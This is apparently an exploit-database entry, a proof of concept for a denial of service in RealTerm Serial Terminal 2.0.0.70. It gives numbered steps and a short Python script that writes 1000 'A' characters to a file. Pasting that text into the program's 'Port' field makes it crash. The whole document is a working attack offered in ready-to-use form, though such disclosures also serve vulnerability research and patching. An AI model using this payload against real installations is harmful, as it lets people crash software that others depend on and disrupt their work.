Realterm Serial Terminal 2.0.0.70 - Denial of Service

# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt"
# 2.- Copy the content of the new file 'PoC.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> open
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()